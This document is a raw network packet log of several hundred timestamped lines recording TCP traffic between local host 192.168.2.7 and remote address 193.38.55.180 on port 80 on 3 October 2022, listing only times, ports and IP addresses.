Oct 3, 2022 17:35:24.030333996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030352116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030363083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030376911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030390024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030407906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030416012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030425072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030443907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030462980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030471087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030483007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030498028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030512094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030525923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030539989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030553102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030572891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030579090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030597925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030606031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030622959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030632973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030646086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030658960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030678034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030698061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030738115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030765057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030782938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030791998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030801058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030818939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030831099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030857086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030863047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030896902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030927896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030977964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030992985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031023026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031043053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031049013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031064034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031081915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031099081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031107903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031124115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031135082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031161070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031161070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031183958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031188965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031203985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031214952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031225920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031241894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031256914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031267881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031292915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031295061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031315088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031321049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031337976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031347036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031361103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031377077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031404018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031407118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031430006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031436920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031456947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031461000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031481981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031482935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031502962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031510115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031523943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031538010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031558037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031563997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031580925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031589985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031608105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031616926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031629086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031644106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031661987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031671047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031682014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031697035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031714916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031723022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031738997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031748056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031761885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031775951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031795025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031802893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031816006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031829119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031853914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031856060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031867027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031882048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031903982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031908035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031923056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031934023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031956911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.031975031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.031975031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032000065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032017946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032026052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032047987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032052994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032073021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032078981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032095909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032104969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032120943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032130003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032155037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032155991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032174110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032181978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032201052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032207966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032233000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032237053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032248020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032259941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032285929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032290936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032325029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032325983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032350063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032354116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032376051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032382011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032399893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032408953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032423019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032435894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032459021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032461882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032480001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032486916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032501936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032512903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032526970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032538891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032560110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032566071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032579899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032591105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032615900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032617092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032632113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032643080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032669067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032669067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032689095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032696009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032713890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032721996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032738924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032748938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032764912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032773972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032798052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032802105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032816887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032829046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032847881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032855034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032871008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032881021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032902956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032907009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032922029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032932997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032948017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032959938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032979965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.032984972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.032999039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033010960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033035994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033036947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033049107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033061981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033081055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033087969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033114910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033114910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033135891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033142090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033159971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033168077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033195019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033196926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033221006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033224106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033243895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033250093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033268929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033277035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033293962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033303022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033328056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033335924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033355951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033375025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033382893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033410072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033416033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033436060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033447981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033462048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033468008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033488035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033493996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033514023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033518076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033536911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033540964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033560991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033566952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033592939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033598900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033621073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033621073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033641100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033648014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033665895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033674002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033698082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033699989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033719063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033726931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033746004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033752918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033778906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033797979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033804893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033830881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033834934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033858061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033865929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033884048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033900023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033910990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033922911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033936977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033946037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033963919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.033965111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.033986092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034010887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034015894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034037113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034049988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034063101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034084082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034090042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034116030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034120083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034142017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034151077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034168959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.034176111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034192085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.034212112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.061238050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.061415911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097361088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097404003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097428083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097451925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097476006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097477913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097501040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097503901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097518921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097528934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097548962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097554922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097569942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097580910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097596884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097609043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.097629070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.097655058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098753929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098782063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098808050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098834038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098834991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098850012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098862886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098889112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098903894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098911047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098928928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098947048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098956108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.098979950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.098980904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099005938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099006891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099023104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099030972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099050999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099056005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099071980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099081993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099100113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099107027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099124908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099131107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099148035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099155903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099173069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099189043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099205017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099214077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099231005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099239111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099268913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.099273920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.099284887 CEST	49703	80	192.168.2.7	193.38.55.180
